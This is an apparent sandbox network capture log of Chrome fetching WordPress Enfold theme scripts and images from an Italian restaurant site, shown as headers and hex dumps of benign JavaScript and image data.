2025-01-09 12:19:26 UTC	16107	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 7b 09 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 61 76 69 61 62 6f 64 79 63 6c 61 73 73 65 73 20 3d 20 41 76 69 61 42 72 6f 77 73 65 72 44 65 74 65 63 74 69 6f 6e 28 27 68 74 6d 6c 27 29 3b 0a 0a 09 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 09 09 69 66 28 20 2f 41 6e 64 72 6f 69 64 7c 77 65 62 4f 53 7c 69 50 68 6f 6e 65 7c 69 50 61 64 7c 69 50 6f 64 7c 42 6c 61 63 6b 42 65 72 72 79 7c 49 45 4d 6f 62 69 6c 65 7c 4f 70 65 72 61 20 4d 69 6e 69 2f Data Ascii: (function($){ "use strict"; $(document).ready(function() { var aviabodyclasses = AviaBrowserDetection('html');$.avia_utilities = $.avia_utilities \|\| {};if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 20 09 24 2e 41 76 69 61 56 69 64 65 6f 41 50 49 2e 70 6c 61 79 65 72 73 5b 20 66 76 2e 61 74 74 72 28 27 69 64 27 29 2e 72 65 70 6c 61 63 65 28 2f 5f 68 74 6d 6c 35 2f 2c 27 27 29 20 5d 20 3d 20 69 6e 73 74 61 6e 63 65 3b 0a 20 20 20 20 20 20 20 20 20 09 0a 09 09 09 09 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 0a 09 09 09 09 7b 0a 09 09 09 09 09 69 66 20 28 6d 65 64 69 61 45 6c 65 6d 65 6e 74 2e 70 6c 75 67 69 6e 54 79 70 65 20 3d 3d 20 27 66 6c 61 73 68 27 29 20 0a 09 09 09 09 09 7b 09 0a 09 09 09 09 09 09 6d 65 64 69 61 45 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 61 6e 70 6c 61 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 66 76 2e 74 72 69 67 67 65 72 28 27 61 76 2d 6d 65 64 69 61 6a 73 2d Data Ascii: $.AviaVideoAPI.players[ fv.attr('id').replace(/_html5/,'') ] = instance; setTimeout(function(){if (mediaElement.pluginType == 'flash') {mediaElement.addEventListener('canplay', function() { fv.trigger('av-mediajs-
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 67 65 2d 69 74 65 6d 2d 27 29 20 3e 3d 20 30 20 29 0a 09 09 09 09 09 09 09 09 09 09 7b 0a 09 09 09 09 09 09 09 09 09 09 09 6e 65 77 5f 6c 69 2e 61 64 64 43 6c 61 73 73 28 76 61 6c 75 65 29 3b 0a 09 09 09 09 09 09 09 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 0a 09 09 09 09 09 61 70 70 65 6e 64 5f 74 6f 2e 61 70 70 65 6e 64 28 6e 65 77 5f 6c 69 29 3b 0a 09 09 09 09 09 0a 09 09 09 09 09 69 66 28 73 75 62 69 74 65 6d 73 2e 6c 65 6e 67 74 68 29 0a 09 09 09 09 09 7b 0a 09 09 09 09 09 09 6e 65 77 5f 75 6c 20 3d 20 24 28 27 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 27 29 2e 61 70 70 65 6e 64 54 6f 28 6e 65 77 5f 6c 69 29 3b Data Ascii: ge-item-') >= 0 ){new_li.addClass(value);return false;}});}append_to.append(new_li);if(subitems.length){new_ul = $('<ul class="sub-menu">').appendTo(new_li);
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 6f 72 6d 2e 61 74 74 72 28 27 64 61 74 61 2d 72 65 73 75 6c 74 73 5f 73 74 79 6c 65 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 73 75 6c 74 73 5f 63 73 73 20 3d 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 72 65 73 75 6c 74 73 5f 63 73 73 2c 20 72 65 73 75 6c 74 73 5f 73 74 79 6c 65 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 61 64 64 20 63 6c 61 73 73 20 69 66 20 66 6f 6e 74 20 63 6f 6c 6f 72 20 69 73 20 61 70 70 6c 69 65 64 2c 20 73 6f 20 77 65 20 63 61 6e 20 75 73 65 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 22 63 6f 6c 6f 72 22 20 69 6e 20 72 65 73 75 6c 74 73 5f 63 73 73 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: orm.attr('data-results_style')); results_css = Object.assign(results_css, results_style); // add class if font color is applied, so we can use color: inherit if ("color" in results_css) {
2025-01-09 12:19:26 UTC	4846	IN	Data Raw: 66 20 64 3f 64 3d 64 2e 61 70 70 6c 79 28 63 29 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 26 26 28 64 3d 70 61 72 73 65 46 6c 6f 61 74 28 64 29 2c 63 2e 6f 70 74 69 6f 6e 73 2e 6f 66 66 73 65 74 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 26 26 28 64 3d 4d 61 74 68 2e 63 65 69 6c 28 72 2e 63 6f 6e 74 65 78 74 44 69 6d 65 6e 73 69 6f 6e 2a 64 2f 31 30 30 29 29 29 2c 61 3d 72 2e 63 6f 6e 74 65 78 74 53 63 72 6f 6c 6c 2d 72 2e 63 6f 6e 74 65 78 74 4f 66 66 73 65 74 2c 63 2e 74 72 69 67 67 65 72 50 6f 69 6e 74 3d 77 2b 61 2d 64 2c 6c 3d 66 3c 72 2e 6f 6c 64 53 63 72 6f 6c 6c 2c 68 3d 63 2e 74 72 69 67 67 65 72 50 6f 69 6e 74 3e 3d 72 2e 6f 6c 64 53 63 72 6f 6c 6c 2c 70 3d 6c 26 26 68 2c 75 3d 21 6c 26 26 21 68 2c 21 79 26 26 70 3f 28 63 2e Data Ascii: f d?d=d.apply(c):"string"==typeof d&&(d=parseFloat(d),c.options.offset.indexOf("%")>-1&&(d=Math.ceil(r.contextDimension*d/100))),a=r.contextScroll-r.contextOffset,c.triggerPoint=w+a-d,l=f<r.oldScroll,h=c.triggerPoint>=r.oldScroll,p=l&&h,u=!l&&!h,!y&&p?(c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49808	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:25 UTC	632	OUT	GET /wp-content/uploads/2019/05/Cipasso_simbolo3.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:26 UTC	271	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:25 GMT Content-Type: image/png Content-Length: 25096 Connection: close Last-Modified: Tue, 28 May 2019 12:42:53 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 4d 00 00 00 32 08 06 00 00 00 d8 f3 89 64 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 0a ac 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da ad 96 77 54 93 59 1a c6 df ef fb d2 0b 2d 21 02 52 42 6f 82 14 e9 d2 6b e8 d2 c1 46 48 20 09 84 18 42 82 8a a8 a8 0c 8e e0 58 10 11 01 65 44 46 44 14 1c 0b 20 63 41 2c 58 18 04 7b 1f 90 41 45 5d 07 0b 36 54 f6 0f 96 b0 7b 76 f7 8f 3d 67 df 73 ee 39 bf f3 9c 7b 9f fb be f7 fe f3 00 d0 4e 72 a5 52 31 aa 06 90 2d 91 cb 62 82 fd d8 49 c9 29 6c e2 10 20 80 01 80 15 90 b8 bc 5c a9 6f 74 74 38 fc d7 fa 70 1b 10 00 80 1b 36 5c a9 54 0c ff 5b a9 f3 d3 73 79 00 48 34 00 a4 f1 73 79 d9 00 c8 31 00 a4 9e 27 95 Data Ascii: PNGIHDRM2dpHYsiCCPPhotoshop ICC profilexwTY-!RBokFH BXeDFD cA,X{AE]6T{v=gs9{NrR1-bI)l \ott8p6\T[syH4sy1'
2025-01-09 12:19:26 UTC	8983	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	49810	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:25 UTC	455	OUT	GET /wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	270	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:25 GMT Content-Type: image/png Content-Length: 7879 Connection: close Last-Modified: Fri, 11 Jun 2021 17:18:06 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	7879	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7c 00 00 00 9c 08 06 00 00 00 bd 5a cf 3c 00 00 01 83 69 43 43 50 73 52 47 42 20 49 45 43 36 31 39 36 36 2d 32 2e 31 00 00 28 91 75 91 bb 4b 03 41 10 87 bf c4 47 c4 f8 02 2d 2c 2c 82 44 41 50 f1 01 41 1b 8b 88 46 41 2d 62 04 a3 36 c9 79 49 84 5c 3c ee 12 24 d8 0a b6 82 82 68 e3 ab d0 bf 40 5b c1 5a 10 14 45 10 3b c1 5a d1 46 c3 39 97 04 22 62 66 99 9d 6f 7f bb 33 ec ce 82 33 94 54 34 b3 b2 0f b4 54 da 08 06 fc 9e f9 f0 82 c7 f5 42 35 6e 1a e8 a2 35 a2 98 fa f4 ec 78 88 b2 f6 79 8f c3 8e b7 3d 76 ad f2 e7 fe 35 f7 b2 6a 2a e0 a8 11 1e 51 74 23 2d 3c 21 3c b5 96 d6 6d de 11 6e 51 12 91 65 e1 33 e1 6e 43 2e 28 7c 67 eb d1 02 bf da 1c 2f f0 b7 cd 46 28 38 0a ce 26 61 4f fc 17 47 7f b1 92 30 34 61 79 39 Data Ascii: PNGIHDR\|Z<iCCPsRGB IEC61966-2.1(uKAG-,,DAPAFA-b6yI\<$h@[ZE;ZF9"bfo33T4TB5n5xy=v5j*Qt#-<!<mnQe3nC.(\|g/F(8&aOG04ay9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	49814	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	460	OUT	GET /wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	271	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:26 GMT Content-Type: image/png Content-Length: 17383 Connection: close Last-Modified: Sun, 11 Sep 2022 14:56:05 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 8f 08 06 00 00 00 40 82 e6 81 00 00 43 ae 49 44 41 54 78 da ed 7d 77 9c 24 65 9d fe 53 d5 69 f2 cc ce ec ce d6 e6 cc 2e 4b 58 72 94 06 01 13 8a e1 94 13 13 66 4f 4f 69 cf 43 d1 3b bd 3b d3 cf ec 89 73 de 9d 8a 9e 62 46 d1 23 88 91 20 23 59 16 58 60 03 b0 39 f6 ee cc ec ce 4e 9e 4e f5 fb e3 fb bc 57 ef 34 55 1d aa bb 67 7a b1 be 9f 4f 7f 26 f5 54 57 bd e1 f9 3e df f8 02 81 04 12 48 20 81 04 12 48 20 81 04 12 48 20 81 fc 95 8a 11 0c 41 20 81 3c ff 25 11 b7 0c 00 21 00 26 7f 65 03 c8 02 c8 f5 f4 26 03 c0 0a 24 90 40 6a 02 3c 20 e8 18 2e 2f 93 af 10 5f 61 00 0d 00 da 01 74 01 98 0f a0 8d ef 4d 03 48 02 38 0c 60 02 c0 24 5f 13 fc db 04 80 0c 80 f1 9e de a4 5d 2f cf 1f 0e 96 40 20 81 1c 13 40 Data Ascii: PNGIHDR,@CIDATx}w$eSi.KXrfOOiC;;sbF# #YX`9NNW4UgzO&TW>H H H A <%!&e&$@j< ./_atMH8`$_]/@ @
2025-01-09 12:19:26 UTC	1270	IN	Data Raw: 73 35 cd c2 10 9c 8e 9b 06 37 d3 78 19 8c 5b f7 57 95 6b ce e7 e8 9a f8 37 48 bd dd 84 07 98 44 30 35 67 6f 92 a6 e3 c9 45 d6 e9 30 41 f0 4b 00 f6 ce 90 83 3d 06 a7 b3 6e 8a cf 3b 42 c0 0d 91 24 1c a4 32 7a 11 4d f1 0c a4 de b7 1c c5 34 48 df 9f 5b 7f fe 11 38 07 8e 1c bb 80 a5 f9 b5 32 89 b8 f5 34 27 f6 46 88 13 f3 4a 88 c3 dd 4f be 54 16 de b9 2d ea 4c 35 14 60 5f a5 4e 94 da 24 8a e9 a9 5e e5 bb 20 91 c2 63 39 d3 dd d0 98 6c 23 7d 35 06 9c 13 5a aa 75 02 74 03 a6 1e c0 d9 4f c6 73 ba 0f 5f 98 52 42 03 dc 9c 85 4a 7b 86 34 13 f0 b1 22 fd c4 43 79 73 d9 44 16 1a 2a e0 07 7c 1a 92 c3 75 23 6a d7 15 b6 14 49 42 82 19 07 38 77 bf e3 cf e7 d3 04 4c 42 4a 6e 96 72 ae 57 6b ca fe 20 9f b5 58 b3 00 55 4a d5 50 40 31 4c 5b 62 ec b4 e4 12 69 f5 4e 5b 21 0d df 6e Data Ascii: s57x[Wk7HD05goE0AK=n;B$2zM4H[824'FJOT-L5`_N$^ c9l#}5ZutOs_RBJ{4"CysD*\|u#jIB8wLBJnrWk XUJP@1L[biN[!n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	49815	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	680	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:26 GMT Content-Type: text/javascript Content-Length: 2080 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	2080	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 50 6c 61 79 65 72 0a 2f 2f 20 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 76 61 72 20 61 75 74 6f Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA Player// // -------------------------------------------------------------------------------------------(function($){ "use strict";var auto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	49819	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	449	OUT	GET /wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	273	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:26 GMT Content-Type: image/jpeg Content-Length: 835036 Connection: close Last-Modified: Sat, 19 Jun 2021 08:45:52 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	16111	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 c0 00 c0 00 00 ff e2 02 64 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 54 6c 63 6d 73 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e5 00 06 00 13 00 08 00 14 00 02 61 63 73 70 4d 53 46 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 6c 63 6d 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 64 65 73 63 00 00 01 08 00 00 00 3e 63 70 72 74 00 00 01 48 00 00 00 4c 77 74 70 74 00 00 01 94 00 00 00 14 63 68 61 64 00 00 01 a8 00 00 00 2c 72 58 59 5a 00 00 01 d4 00 00 00 14 62 58 59 5a 00 00 01 e8 00 00 00 14 67 58 59 5a 00 00 01 fc 00 00 00 14 72 Data Ascii: JFIFdICC_PROFILETlcms0mntrRGB XYZ acspMSFT-lcmsdesc>cprtHLwtptchad,rXYZbXYZgXYZr
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: d7 76 2f af 3f 05 be 83 fc 58 68 d2 c7 83 de 1a 06 a5 d9 d9 da a6 7e 10 92 07 58 f5 5d 47 0f 46 ee 0d 39 66 b1 2f c8 1a a0 59 82 35 ac 6e 5d 95 43 2d f5 83 97 28 ca 4c f9 53 82 54 b4 49 c4 a1 40 80 41 12 e5 95 4b 24 6a a2 47 89 4f 99 41 21 d9 88 8c 6f 0b c6 cf e1 7c 45 66 42 cc a2 91 39 04 87 b0 cb 91 44 3e 52 a4 82 58 90 59 cd 18 c5 88 f8 f3 f8 d6 f5 af e1 83 b7 bd 1f 3d 9b df fa e6 91 89 dd 38 19 cb 9d b7 2b e6 09 57 03 07 4c 95 16 36 c8 49 a4 8d 54 64 bd 08 8a 11 62 a8 8e 63 60 f0 bc 5a 6a d5 87 95 c5 f8 a4 a9 46 42 16 99 28 c6 cd 09 40 28 04 25 01 ce 54 87 a2 6a c1 87 4d 37 66 d7 81 c7 e3 71 73 f1 dc 37 01 8e 52 24 19 ea 5e 27 0c 89 81 4b ef 00 25 62 89 57 86 84 b5 cd 5c c7 2f 3d 11 f8 ac ef 7f 88 ff 00 8c 6f 47 87 75 f7 36 b9 dc 12 ae a5 97 27 cc d5 Data Ascii: v/?Xh~X]GF9f/Y5n]C-(LSTI@AK$jGOA!o\|EfB9D>RXY=8+WL6ITdbc`ZjFB(@(%TjM7fqs7R$^'K%bW\/=oGu6'
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 2a 9c 46 12 7a 8c dc c9 62 5b b8 59 ee 16 0b 29 04 04 b5 61 e5 96 f4 d4 08 b2 3c 7e df f7 fd 7d 8f 5e 9e 89 49 52 07 fc 85 74 17 03 ab 12 db f5 bc 61 8d 49 ea 63 91 7f c5 cf e1 62 0f 5f 7e 1f 9f bf f4 0d 1a 3d 47 d4 3f 45 a6 6e ef d2 62 84 34 59 ba d6 85 88 3e 76 b7 a0 8c a8 50 e4 44 92 e2 c5 34 ca 63 12 3a 83 31 54 6d c1 7a f3 bf 88 fd 9f c3 f1 5e 14 71 13 24 85 af 0a 14 8c 42 12 d9 f1 38 1c 40 c8 b9 4c 0b e6 91 30 27 12 95 59 09 96 b7 da 3d b7 e0 97 6c e7 f0 1e 39 89 e0 0b c5 ab 0b 83 ed 14 b4 23 0f 3e 62 89 95 c3 f8 cc 89 89 1c 3f 1e 84 87 ca 84 a9 7d d6 22 dd e2 16 01 70 23 f3 3b f8 d4 d7 65 ee 6f 5b 75 bd 61 74 59 fb 7b 15 f1 30 71 70 b4 ac 89 df 25 b0 a2 c2 59 61 6c 4f c5 48 a8 f3 bc 12 1f 94 f2 ba 2b b9 1f 31 95 6f aa af 87 7c 16 5f 06 e0 12 f0 72 Data Ascii: *Fzb[Y)a<~}^IRtaIcb_~=G?Enb4Y>vPD4c:1Tmz^q$B8@L0'Y=l9#>b?}"p#;eo[uatY{0qp%YalOH+1o\|_r
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 9b 6e ec 03 0b 5e 2b ae b8 99 70 e5 49 b9 09 2b 29 60 81 76 33 30 35 f2 90 b1 1c 00 37 06 fb 92 2b 80 7a bd 5a 42 c7 87 e5 6a 6a 48 e6 59 bc ba c1 b0 f3 d2 14 3f e3 40 75 34 f4 e5 4e ba b4 39 bb 57 3f 11 1d 9b 32 65 54 90 05 91 6d 5d a2 28 50 dc a4 15 6e 43 6d fa 6b 90 2a e8 75 4d 88 96 a4 12 4a 49 1a 1f 21 5d af fc b4 68 65 4e ef 12 92 96 21 a8 ff 00 6d 8d bc ee 62 4d cc 8f 4c f9 61 e2 6c 79 f7 81 b5 78 41 1e e8 f7 06 0d 61 a9 8f 2a 14 03 c1 e7 9e aa d4 19 26 a4 28 07 36 66 af 27 ae f4 ad 9a 25 21 65 c2 72 96 51 6a f3 b0 f9 9c 07 df 58 13 43 d3 8e a4 62 c3 55 8c 32 c9 4d 37 91 f5 b8 5b 20 86 b5 50 4d d9 e1 45 d7 3c 74 ad 52 d4 80 92 5f 2b f9 94 a8 74 03 5b 33 b1 e8 1c 71 fd 3c b2 b2 b7 52 8a 40 4e 81 24 82 5b a3 80 fa bb 06 a1 8f 43 9f 09 5d bd a4 e9 3f Data Ascii: n^+pI+)`v3057+zZBjjHY?@u4N9W?2eTm](PnCmkuMJI!]heN!mbMLalyxAa&(6f'%!erQjXCbU2M7[ PME<tR_+t[3q<R@N$[C]?
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 08 69 42 fd cf 27 81 cd 9f 39 fc 56 03 bd 5b 91 e1 20 ea 1f ca a4 f2 f6 f0 14 99 89 51 0a 0d 52 34 2d 5e a6 9e ad 48 53 6e e3 54 76 70 58 ac 81 54 b5 02 19 15 54 31 dc 1d 48 ae 7d ac 9f 02 89 ba d9 9c 38 65 4a 4a 7a 87 0e 1b ad 3a 8d 29 12 11 35 ae 7a f3 fa 16 e7 bf d9 d7 85 dd d0 32 fc a6 7f e4 34 6a 4b c8 db 95 99 54 7d 00 ef 70 0b 02 2e f6 91 e0 fb f5 05 5c 31 94 02 68 49 d4 8d dd b4 f3 2c 44 10 ce 4a 81 04 9b 16 b9 bf 94 32 75 3e e0 93 22 76 30 ba 32 86 93 6b 8b a0 a0 8f a1 bd 85 0a 00 37 9f 23 82 0f 57 58 7c 1a 65 4b 01 47 fb 2b 5b 6b e7 00 70 56 1b 6d 8f 38 90 3b 6f 51 df 0c 2f 23 59 0d 76 2d ad 65 ae 38 b1 5e e4 0e 00 f6 e3 aa 5c 73 49 70 28 e5 4e 6a 5b 50 74 1a d0 6e dd 22 c6 54 92 40 2d 42 1c d5 d9 b5 bf 58 77 e7 cb 0e 54 60 6e 2e 59 d8 0b 5a 57 Data Ascii: iB'9V[ QR4-^HSnTvpXTT1H}8eJJz:)5z24jKT}p.\1hI,DJ2u>"v02k7#WX\|eKG+[kpVm8;oQ/#Yv-e8^\sIp(Nj[Ptn"T@-BXwT`n.YZW
